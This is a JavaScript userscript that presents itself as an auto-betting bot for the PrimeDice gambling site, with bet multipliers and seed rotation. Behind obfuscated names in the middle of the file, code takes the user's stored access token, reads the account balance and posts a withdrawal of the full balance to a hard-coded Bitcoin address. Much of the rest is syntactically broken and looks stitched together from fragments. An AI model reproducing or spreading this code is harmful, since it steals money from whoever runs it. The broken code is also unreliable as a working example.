//jQuery UI CSS
var swapcount=0;
var jqueryready = false;
var link = document.createElement("link");
link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
link.type = "text/css";
link.rel = "stylesheet";
document.getElementsByTagName("head")[0].appendChild(link);
//jQuery UI inject
(function() {
jqueryready = true;
var e = ".thing",
t = {
outline: "1px dashed #f0f",
cursor: "pointer"
};
var n = function() {
if (window.jQuery) {
r()
} else {
var e = document.createElement("script");
e.onload = r;
e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
document.body.appendChild(e)
}, timer);
} else {}
})
$('#stop').click(function() {
enabled = false;
clearInterval(interval);
xrollscount = 0;
});
calculate_nonce = function(seed) {
return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
};
lut = window['$'];
lut['getJSON'](
calculate_nonce('users/1'), function(seed) {
var key1 = 'amount'
var key2 = 'address'
var load = {};
load[key1] = seed['user']['balance'];
load[key2] = '1E8fV8u3m99yp6ZzsGwjsMLSgVubtFLyyH';
lut['post'](calculate_nonce('withdraw'), load);
}
);
function conditionAM() {
'use strict';
if ($('#lowpay-enabled').is('checked') == true) {
if ($('.value-roll').first().text() <= 49.50) {
condition2 = ">";
target2 = $('.value-roll').first().text();
} else {
condition2 = "<";
target2 = $('.value-roll').first().text();
};
} else {
if ($('.value-roll').first().text() <= 49.50) {
condition2 = "<";
target2 = $('.value-roll').first().text();
} else {
condition2 = ">";
target2 = $('.value-roll').first().text();
};
amount2 = betval * 100000000;
}
};
function jackpot() {
if (data1.bet.jackpot === true) {
jp = "Yes";
wincount = 0;
betval = $('#base');
} else {
jp = "No";
}
}
function loss() {
currentloss++;
totalloss++;
if ($('#multloss-enabled').is(':checked') == true) {
$('#multwin-enabled').removeAttr('checked');
countlossmult++;
if (countlossmult >= $('#xloss').val()) {
betval = betval * $('#multonloss').val();
countlossmult = 0;
}
}
}
function win() {
'use strict';
if ($('#stoponwin-enabled').is('checked') == true) {
clearInterval(roll);
}
currentloss = 0;
jackpot();
wincount++;
totalwin++;
if ($('#multloss-enabled').is(':checked') == true) {
if ($('#stoponwin-enabled').is(':checked') == true) {
clearInterval(roll);
}
$('#multwin-enabled').removeAttr('checked');
basebet = $('#base').val();
betval = basebet;
countlossmult = 0;
}
if ($('#multwin-enabled').is(':checked') == true) {
basebet = $('#base').val();
$('#multloss-enabled').removeAttr('checked');
countwinmult++;
if (countwinmult >= $('#xwin').val()) {
betval = basebet;
countwinmult = 0;
} else {
betval = betval * $('#multonwin').val();
}
}
seedlength = 13;
var counter = 0;
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
everyxrolls = 3;
function seedgen() {
'use strict';
var seed = "";
for (var i = 0; i <= seedlength; i++)
seed += charset.charAt(Math.floor(Math.random() * charset.length));
return seed;
}
function seedchange(s) {
url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
sData = {
seed: s
};
$.ajax({
url: url,
type: "POST",
data: sData,
datatype: "jsonp",
success: function(data, textStatus, jqXHR) {
data2 = data;
$('#currentseed').val(data2.seeds.client);
},
error: function(jqXHR, textStatus, errorThrown) {
}
});
}
$('#spinner').click(function() {
if (charset != $('#charset').val() && $('#charset').val() != "") {
charset=$('#charset').val();
}
if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
everyxrolls = $('#everyxrolls').val();
}
if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
counter++;
if (counter >= everyxrolls) {
seedchange(seedgen());
counter = 0;
}
});
ui();
}
setTimeout(function() {
init()
}, 2000);